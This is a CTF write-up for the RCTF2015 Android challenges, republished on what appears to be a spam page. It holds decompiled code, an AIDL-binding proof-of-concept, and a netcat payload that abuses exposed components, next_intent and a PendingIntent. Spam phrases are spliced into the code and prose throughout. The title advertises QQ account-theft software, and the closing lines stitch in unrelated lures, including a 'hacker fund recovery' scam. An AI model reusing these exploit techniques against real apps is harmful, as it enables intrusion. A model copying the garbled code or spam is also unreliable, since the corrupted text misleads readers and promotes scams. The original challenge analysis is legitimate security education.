黑客盗号qq应用什么软件-RCTF2015-Mobile-出题思路及Writeup
@Xbalien ROIS
从最开始CTF上apk的简易反汇编到现在各种各样结构加固反向,难度系数早已升高了好几个等级。但觉得除开ACTF,大部分的Mobile题型還是以反向为主导。本次做为ROIS组员荣幸能参加到RCTF2015的出题工作上,因此试着了一些新的出题思路,造成 大伙儿刷题都很不适合,也把大伙儿坑了一波。热烈欢迎提议、建议、调侃。
这怎么让他人感觉你是个黑客次RCTF独立了一个Mobile类型,主题风格是系统漏洞,期待和大伙儿一起讨论。
0x00 Mobile100-FlagSystem
Show me the flag. (The flag should include RCTF{}).ab_2e204fe0ec33b1689f1c47bd60a9770c
出题思路:Android backup系统漏洞 当地登陆密码弱怎么让他人感觉你是个黑客维护
该题得出了一个改动过的backup.ab,略微需改了ab的头顶部,version及其compress。立即应用abe开展获取得话必须依据编码简易恢复一下ab头顶部。获取出去后发觉有两个备份数据apk文件。
com.example.mybackup
com.example.zi
在其中mybackup里出示了一个历经sqlcipher数据加密过的BOOKS.db.该数据库查询里储存了flag,要是破译该数据库查询以后就可以获得flag。
登陆密码立即能够根据反汇编见到:
123456public 怎么让他人感觉你是个黑客 BooksDB(Context context){
super(context, "BOOKS.db", null, 1);
this.k = Test.getSign(context);
this.db = this.getWritableDatabase(this.k);
this.dbr = 怎么让他人感觉你是个黑客 this.getReadableDatabase(this.k);
}
getSign给自己写的获得签字,随后测算"SHA1",立即运用jeb反汇编結果撰写编码就可以获得key,随后坑点便是要挑选试着恰当的sqlcipher版本号开展破译就可以。
sqlite> PRAGMA KEY = 'KEY';
sqlite> .schema
CREATE TABLE android_metadata 怎么让他人感觉你是个黑客 (locale TEXT);
CREATE TABLE books_table (book_id INTEGER primary key autoincrement, book_name t
ext, book_author text);
sqlite> select * from books_table
或是运用backup的apk中出示的sqlcipher库开展调用载入数怎么让他人感觉你是个黑客据库也是能够获得到BOOKS.db內容。
0x01 Mobile200-Where
Where is the flag.(The flag should include RCTF{})misc_5b0a7ae29fe01c7a76a19503e1e0273e
出题思路:定时炸弹点爆 怎么让他人感觉你是个黑客 dex构造恢复
该题的精准定位是杂类题,给了一个apk,但apk啥都没做。在assets文件目录下存有了一个abc文件,开启后能够见到是毁坏的dex header,要是依据dex header别的有关构造把各id_size都恢复。
剩余便是要寻找到掩藏起來的dex body.参照聚安全性blog[1],我还在META-INF文件目录里掩藏了一个y,并把数据加密的dex body及其有关数据加密信息内容KEY=Misc@inf0#fjhx11.DEX=en(dex body),aes-128-cbc储放在CERT.RSA尾端,这样一来主apk是能一切正常安裝怎么让他人感觉你是个黑客的。
实际上这道题型我叙述的不太清晰,坑了一波,说白了的KEY实际上仅仅openssl的-pass,根据KEY形成真实的key及其iv。
根据有关的openssl实际操作openssl enc -aes-128-cbc -d -k Misc@inf0#fjhx11 -nosalt -in xxx -out xxx2将dex body破译后与dex header开展拼凑,jeb反汇编后結果以下:
12345678910111213public 怎么让他人感觉你是个黑客 class MainActivity extends ActionBarActivity{
public String seed;
public MainActivity(){
super();
this.seed = "m3ll0t_yetFLag";
}
protected void onCreate(Bundle 怎么让他人感觉你是个黑客 savedInstanceState){
}
...
}
这题我将onCreate方式的code insns扣了出去,查询assembly:
.method protected onCreate(Bundle)V
.registers 8
.param p1, "savedInstanceState"
00000000 nop
.prologue
00000002 nop
00000004 nop
00000006 nop
00000008 nop
0000000A nop
0000000C nop
0000000E nop
00000010 nop
00000012 nop
00000014 nop
00000016 nop00000018 nop
0000001A nop
0000001C nop
0000001E nop
00000020 nop
.local v1, strb:Ljava/lang/StringBuilder;
00000022 nop
根据分辨长短能够了解y实际上便是扣出去的code insns.立即遮盖在次怎么让他人感觉你是个黑客反汇编能够见到onCreate方式中对seed开展了一些改动,最后获得最终flag.
0x02 Mobile350-Load
This APK has a vulnerability,Can you load the flag? Try it.WaWaWa_0bb98521a9f21cc3672774cfec9c7140
出题思路:曝露部件aidl运用 怎么让他人感觉你是个黑客 next_intent
该题的出题思路是在一次自身报名参加众测中累积的。该题都会注重Load,根据反汇编apk,发觉有一个Load类,申明了许多 native方式,随后WebActivity中启用了一个loadUrl来载入网页页面。该题原意是根据恰当启用的loadUrl,载入flag网址获得flag。
但为了更好地提升反向难度系数,APK起动后会检验一下so的调用者,flag放到vps,提升了so-java往返jni互动的逻辑性,最终再加上了娜迦的so结构加固。假如简直反向怎么让他人感觉你是个黑客做出去的,真的是不可不服气了。
该题在释放提醒exposed component exploit后,清华六星战队在赛事完毕哪个時间得到 了flag,但最后沒有准时递交flag较为缺憾。
Manifest:normal管理权限维护CoreService,未导出来部件WebActivity,导出来部件MiscService
WebActivity:根据接受解决一个传送回来的实例化目标,做为Load.decode的主要参数能够开展flagUrl的编解码,以后载入编解码后的网页页面从而获得flag,但该部件未导出来.
1234567891011121314151617181920212223public 怎么让他人感觉你是个黑客 void onCreate(Bundle arg6){
super.onCreate(arg6);
this.setContentView(怎么让他人感觉你是个黑客2130903068);
this.a = this.findViewById(2131034173);
this.a.setWebViewClient(new g(this));
Serializable v0 = this.getIntent().getSerializableExtra("KEY");
if(v0 == null || !(v0 instanceof b)) 怎么让他人感觉你是个黑客{
Toast.makeText(((Context)this), "flag is null", 1).show();
}
else{
String v1 = ((b)v0).a();
String v2 = ((b)v0).b();
if("loading".equals(((b)v0).c())){
if(v1 != null && v2怎么让他人感觉你是个黑客 != null){
this.a.loadUrl(Load.decode(((Context)this), v1, v2, a.a));
Toast.makeText(((Context)this), "flag loading ...", 怎么让他人感觉你是个黑客 1).show();
return;
}
\r
this.a.loadUrl("file:///android_asset/666");
}
}
}
MiscService:存在next_intent特征,可以控制CLASS_NAME启动组件
1234567public Intent a(Intent arg4) {
Intent v0 = new Intent();
v0.setClassName(this.getApplicationContext()如何让别人觉得你是个黑客, arg4.getStringExtra("CLASS_NAME"));
v0.putExtras(arg4);
v0.setFlags(268435456);
return v0;
}
CoreService:存在暴露的AIDL接口,多处使用了Load的native *** 。
123456789101112131415161718192021222如何让别人觉得你是个黑客32425262728class b extends a {
b(CoreService arg1) {
this.a = arg1;
super();
}
public String a() throws RemoteException {
c v0 = new c(Load.getUrl(this.a), Load.getToken(this.a));
Thread v1 = new Thread(((Runnable)v0));v1.start();
try {
v1.join();
}
catch(InterruptedException v1_1) {
v1_1.printStackTrace();
}
return v0.a();
}
如何让别人觉得你是个黑客
public String b() throws RemoteException {
return null;
}
public String c() throws RemoteException {
return Load.getIv(this.a);
}
}
因此,通过仔细分析及猜测逻辑,这个核心服务提供了如何让别人觉得你是个黑客两个接口: 一个接口通过调用Load的native函数getUrl以及getToken,获取vps-url以及token参数,post到vps-url,若token正确即可获取key. 另一个接口通过Load.getIv自己本地获取了iv. 因此通过直接利用该暴露了aidl接口可以轻松获得des解密需要的key和iv.
POC如下:
12345678910111213141516171819202122232425262728293031323334如何让别人觉得你是个黑客35protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_bind);
try {
ComponentName com = new ComponentName("com.example.wawawa", "如何让别人觉得你是个黑客com.example.wawawa.CoreService");
Intent intent = new Intent();
intent.setComponent(com);
bindService(intent, connD, Context.BIND_AUTO_CREATE);
} catch (Exception e) {
}
}
&如何让别人觉得你是个黑客nbsp;
private d da;
private ServiceConnection connD = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
da = 如何让别人觉得你是个黑客 d.Stub.asInterface(service);
try {
System.out.println(da.c());
System.out.println(da.a());
} catch (RemoteException e) {
e.printStackTrace();
}
}
@Override
public 如何让别人觉得你是个黑客 void onServiceDisconnected(ComponentName name) {
// TODO Auto-generated method stub
}
};
接着,通过next_intent传递key和iv,即可开启webActivity,des解密成功后,加载正确flagUrl。获取flag。
12345678String key 如何让别人觉得你是个黑客 = etKey.getText().toString();
String iv = etIv.getText().toString();
String content = "loading";
b data = new b(key,iv, content);
Intent intent = new Intent("com.example.wawawa.Misc_SERVICE");
intent.putExtra("CLASS_NAME", "com.example.wawawa.WebActivity");
intent.putExtra("KEY", data);
startService(intent);
0x03 Mobile450-Target
This 如何让别人觉得你是个黑客 APK has a vulnerability, please use it to start the target activity.The flag should include RCTF{}.Package_b6411947d3b360182e8897be40064023
出题思路:开放本地端口 + PendingIntent + 如何让别人觉得你是个黑客 运行时自窜改
该题出题思路参考了@小荷才露尖尖角的浅谈Android开放 *** 端口的安全风险[2],X-team的PendingIntent双无intent可导致的能力泄露[3] 以及运行时自篡改代码[4]。
出题本意是,通过该apk开放的一个本地端口,传递相关参数,最后触发主dex中的PendingIntent双无Intent的通知,获取相关通知后修改intent内容开启TargetActivty.其中向端口中传递的能够正确触发双无Intent的参数的md5(输入参数)即为flag。(但dex几处代码经过so的自篡改,因此需要获如何让别人觉得你是个黑客取真正加载的代码)
Manifest:TargetActiviy使用了signature的权限进行保护
因此,想要启用该activity需要有next-intent或者能力泄露,通过查看ListenService定位到了一处双无intent。因此触发ListenService逻辑至allow代码逻辑即可(allow逻辑代码是1如何让别人觉得你是个黑客3年开发的重打包加固的app中修改的[5])。
1234567891011121314Intent v2_1 = new Intent();
if("reject".equals(arg9)) {
v2_1.setClassName(this.a, "com.ui.MainTabHostActivity");
v1.setLatestEventInfo(this.a.getApplicationContext(), 如何让别人觉得你是个黑客 "Guard", ((CharSequence)arg10),
PendingIntent.getActivity(this.a, 0, v2_1, 0));
((NotificationManager)v0).notify(1, v1);
Log.d("CoreListenService", arg9);
}
if("allow".equals(arg9)) 如何让别人觉得你是个黑客 {
v1.setLatestEventInfo(this.a.getApplicationContext(), "Guard", ((CharSequence)arg10),
PendingIntent.getActivity(this.a, 0, v2_1, 0));
((NotificationManager)v0).notify(1, 如何让别人觉得你是个黑客 v1);
Log.d("CoreListenService", arg9);
}
该逻辑是,在内存中存在一个设定了allow的条件,就是name为test,perm为READ_F的消息才能被设置为allow。
123456if(GuardApplication.a.get("test") == null) {
GuardApplication.a.put("test", 如何让别人觉得你是个黑客 Integer.valueOf(0));
}
GuardApplication.a.put("test", Integer.valueOf(b.b.get("READ_F").intValue() | GuardApplication
.a.get("test").intValue()));
但listenService是未导出组件,无法直接调用,因此只能另寻他路。
在apk assets目录下存放了一个d文件,该文件其实是加密后的dex文件。通过查看加载调用GuardApplication可以发现:
首先通过b()对d复制、解密操作,解密之后加载com.example.dynamic.Init类,执行其中的a *** 。 如何让别人觉得你是个黑客 b()最终是异或36,但是该异或代码在运行时加载的so中进行了修改,异或了18,因此通过36异或出来的d并不是真正的dex。加载后的dex以及odex我也删除掉了。
12345678910111213141516171819public void a() {
this.b();
String v1 = this.e.getCacheDir().getPath();
DexClassLoader v0 = new DexClassLoader(String.valueOf(this.e.getDir(Load.b, 0).getPath()如何让别人觉得你是个黑客) +
"/" + Load.d, v1, null, this.e.getClassLoader());
try {
Class v0_2 = v0.loadClass("com.example.dynamic.Init");
Constructor v2 = v0_2.getConstructor(Context.class);
Method v0_3 = v0_2如何让别人觉得你是个黑客.getMethod("a");
this.f = v2.newInstance(this.e);
v0_3.invoke(this.f);
}
catch(Exception v0_1) {
v0_1.printStackTrace();
}
new File(v1, "bb.dex").delete();
new 如何让别人觉得你是个黑客 File(this.e.getDir(Load.b, 0).getPath(), "bb.jar").delete();
}
so存在简单的ptrace以及traceid反调试,想办法获取到d.dex后,进行反编译:可以知道该dex加载后开启了127.0.0.1:20151端口。处于监听状态获取数据交互。
123456789101112131415161718192021如何让别人觉得你是个黑客22232425public ServerSocketThread(Context arg2) {
super();
this.c = arg2;
this.b = 20151;
}
public final void run() {
try {
this.a = new ServerSocket();
this.a.bind(new 如何让别人觉得你是个黑客 InetSocketAddress(InetAddress.getLocalHost(), this.b));
while(true) {
Socket v0_1 = this.a.accept();
Log.d("socket", "Socket Acccept!Address=" + v0_1.getInetAddress().toString());
if(v0_1 != null) 如何让别人觉得你是个黑客 {
new b(this.c, v0_1).start();
}
Log.d("socket", "Socket Execute Thread Started!Address=" + v0_1.getInetAddress().toString());
}
}
catch(Exception v0) {
v0.如何让别人觉得你是个黑客printStackTrace();
return;
}
}
其中,处理逻辑中,找到一处可以通过接受端口传递进来的参数,进行不同的逻辑处理,最后解析参数触发startservice,调用主dex中任意service以及extras的逻辑。
123456789101112131415161718public class a {
public static final 如何让别人觉得你是个黑客 String b = "mobile://rois/?";
static {
a.a = new HashMap();
a.a.put("start", Integer.valueOf(3));
a.a.put("handle", Integer.valueOf(4));
a.a.put("test", 如何让别人觉得你是个黑客 Integer.valueOf(1));
a.a.put("location", Integer.valueOf(2));
a.a.put("getinfo", Integer.valueOf(5));
a.a.put(" *** s", Integer.valueOf(6));
a.a.put("contact", Integer.valueOf(如何让别人觉得你是个黑客7));
}
public a() {
super();
}
}
因此,nc 127.0.0.1 20151,向该端口传递数据,尝试触发该逻辑,以下逻辑为需要触发的逻辑。接受参数后,会对xx=xx&xx=xx&xx=xx之类的输入,进行解析。获取到相关的输入数据后,构造特定的Intent,包括组件名,extras数据等等,最如何让别人觉得你是个黑客后通过startservice将intent传递到主dex的逻辑中。
label_184:
if(!v1[1].startsWith("cm=")) {
goto label_93;
}
if(!v1[2].startsWith("ac=")) {
goto 如何让别人觉得你是个黑客 label_93;
}
if(!v1[3].startsWith("extr=")) {
goto label_93;
}
v0_4 = v2.getQueryParameter("cm");
v1_1 = v2.getQueryParameter("ac");
String v2_2 = 如何让别人觉得你是个黑客 v2.getQueryParameter("extr");
Intent v3_1 = new Intent();
if(v0_4 != null) {
v3_1.setComponent(new ComponentName(this.a, v0_4));
}
if(("true".equals(v1_1)) && v2_2 != null) 如何让别人觉得你是个黑客 {
System.out.println(v2_2);
v0_5 = v2_2.split("-");
if(v0_5.length == 6) {
v3_1.putExtra(v0_5[0], v0_5[1]);
v3_1.putExtra(v0_5[2], v0_5[3]);
v3_1.putExtra(v0_5[4], 如何让别人觉得你是个黑客 v0_5[5]);
}
}
this.a.startService(v3_1);
触发调用listenService的逻辑后,intent根据相关解析相关逻辑约束,在满足某约束的输入下,进而发送双无intent的通知。该输入MD5就是所谓的flag。
(但在ListenService中我留了一个坑,v1.getString("perm", "per"),其中key 如何让别人觉得你是个黑客 "perm"我在so自篡改成了PERM)。
123456789101112131415161718192021public int onStartCommand(Intent arg5, int arg6, int arg7) {
if(arg5 != null) {
Bundle v1 = arg5.getExtras();
Iterator v2 = v1.keySet().iterator();
while(如何让别人觉得你是个黑客v2.hasNext()) {
v2.next();
}
if(v1 != null) {
String v0 = v1.getString("name", "name");
if("log".equals(v1.getString("action", "act"))) {
如何让别人觉得你是个黑客this.b = new com.service.ListenService$b(this, ((Context)this), v0, v1.getString(
"perm", "per"));
this.c = new Thread(this.b);
this.c.start();
}
}
}
return 如何让别人觉得你是个黑客 super.onStartCommand(arg5, arg6, arg7);
}
因此向监听端口发送:action=start&cm=com.service.ListenService&ac=true&extr=name-test-action-log-PERM-READ_F
即可触发allow通知,该通知存放一个双无intent.再通过修改intent即可触发TargetActivity.
ps:自己反编译混淆后的apk才发现看得还是挺蛋疼的,又坑了大家一波。
0x04 如何让别人觉得你是个黑客 小结
此次RCTF2015 Mobile类题目,我尝试了一些漏洞的思路进行出题,也许还会存在我没有考虑到的问题,也或许获取flag的方式让大家不解,包括让大家入坑的都请见谅哈。希望有兴趣童鞋可以尝试把Mobile的CTF题出得更全面、更有意思。
如何让别人觉得你是个黑客最后。参加RCTF的小伙伴们。
0x05 如何让别人觉得你是个黑客 参考
http://jaq.alibab *** /blog.htm?spm=0.0.0.0.v5UAtC&id=76
http://drops.wooyun.org/mobile/6973
http://xteam.baidu.com/?p=77
http://blog.csdn.net/freshui/article/details/13620647
https://github.com/Xbalien/GuardDroid
什么是黑客?JargonFile包含了一大堆关于“hacker”这个词的定义,大部分与技术高超和热衷解决问题及超越极限有关。但如果你只想知道如何成为一名黑客。黑客盗号qq应用什么软件
全国更大诚信黑客追款网址。1拿出创意大部分是手机用的插件,有时也会为平板电脑或者乐高公司的机器人做如何让别人觉得你是个黑客程序。2组织团队2-5人,可以在赛前找到人马。理想团队包括工程师(负责编码)、设计师(。
黑客盗号qq应用什么软件有没有类似于《黑客X档案》的杂志,必须要能在邮局定的!谢谢!有没有类似于《黑客X档案》的杂志,必须要能在邮局定的!谢谢!展开。
通过特洛伊以伪装文件链接诱惑你进入点击然后种植木马随后通过监控你上网输入的各类敏感性文件和针对性记录你输入的密码说专业的术语你很难理解。
根据相关报道,近期有多名美国名人遭到推特黑客入侵,发布了比特币诈骗如何让别人觉得你是个黑客链接。此次被攻击的美国名人分别是比尔盖茨、杰。黑客盗号qq应用什么软件
算法(Algorithm)是指解题方案的准确而完整的描述,是一系列解决问题的清晰指令,算法代表着用系统的 *** 描述解决问题的策略机制。也就是说,能够对一定规范的。
黑客盗号qq应用什么软件深圳有狮王的学校,宝安、龙岗、福田很多地方都有吧!我是沙井这边的,为女儿报读了他们的儿童美语课程,进度很快对狮王教育很有好感。以前听过黑客数学,
标签:
版权声明
本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。